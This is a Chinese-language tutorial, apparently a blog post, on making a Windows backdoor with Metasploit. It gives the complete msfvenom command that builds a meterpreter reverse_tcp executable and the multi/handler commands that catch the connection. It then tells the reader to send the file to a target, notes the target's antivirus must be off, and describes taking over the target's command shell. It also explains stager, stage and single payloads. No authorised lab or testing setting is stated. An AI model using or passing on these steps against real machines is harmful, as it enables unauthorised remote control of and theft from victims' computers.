创建有效负载

要破解Windows,我们需要创建一个有效负载,作为我们进入该PC的后门。

比如有一位客户需要支付一笔费用委托货车司机运送一车石油,石油本身的重量、车子的
重量、司机的重量等等,这些都属于载重(load)。但是对于该客户来说,他关心的只有石
油的重量,所以石油的重量是有效载重(payload,也就是付费的重量)。
对于程序员来说就是在程序中 起关键作用的代码。
举一个最简单的例子,一个 ajax 请求返回一个 JSON 格式

{
    status: 200,
    hasError: false,
    data: {
        userId: 1,
        name: 'undefined'
    }
}

这里的 data 就是 payload,也就是关键信息。而 status、hasError等信息是load,虽然也是信息,但相对没有那么重要。

打开CLI,输入:

/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -f exe -o /back.exe

msfvenom.png
解释:-p为指定有效负载;-a arch 为目标体系结构(x64以后再尝试,得换成其它负载),-f为输出的负载格式,-o 为输出路径

也可以输入:msfvenom –list xxxs(如payloads)来列出相关可使用参数。
list_payload.png
platform_list.png

运行Metasploit Framework Console

为了能够有效的控制这个刚刚生成的有效负载文件,我们必须启动Metasploit 框架控制台(已内置),其携带大量的有效负载和可利用的方法。

start_msfconsole.png

输入:
use exploit/multi/handler

然后设置我们刚才生成的负载的类型

set payload windows/meterpreter/reverse_tcp

接着,我们必须提供本地IP地址给这个刚刚生成的有效负载(后门),使其可以与我的主机进行数据通信。

set LHOST xxx.xxx.xxx.xxx

msfconsole.png

相关Payload
Payload中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

Metasploit中的Payload模块主要有以下三种类型:

-Single

-Stager

-Stage

Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。

Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。

Stage是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

在Metasploit中,我们可以通过Payload的名称和使用格式来推断它的类型:

Single Payload的格式为 <target>/ <single>
Stager/Stage Payload的格式为 <target>/ <stage> / <stager>

当我们在Metasploit中执行“show payloads”命令之后,它会给我们显示一个可使用的Payload列表

show_options.png

最后,我们只要将这个由我们精心制作的文件发送到目标主机中并运行它即可使目标中招。双击之后,其表面无任何反应,但实际上已经在后台运行。然后再:
exploit

exploit.png
virus_back.png

得先关闭目标主机的防毒杀毒软件:T,之后就可以看到我们已经控制着目标的主机的cmd.exe,输入dir就可以看到windows的目录结构。

在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。

其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的。

持续更新中…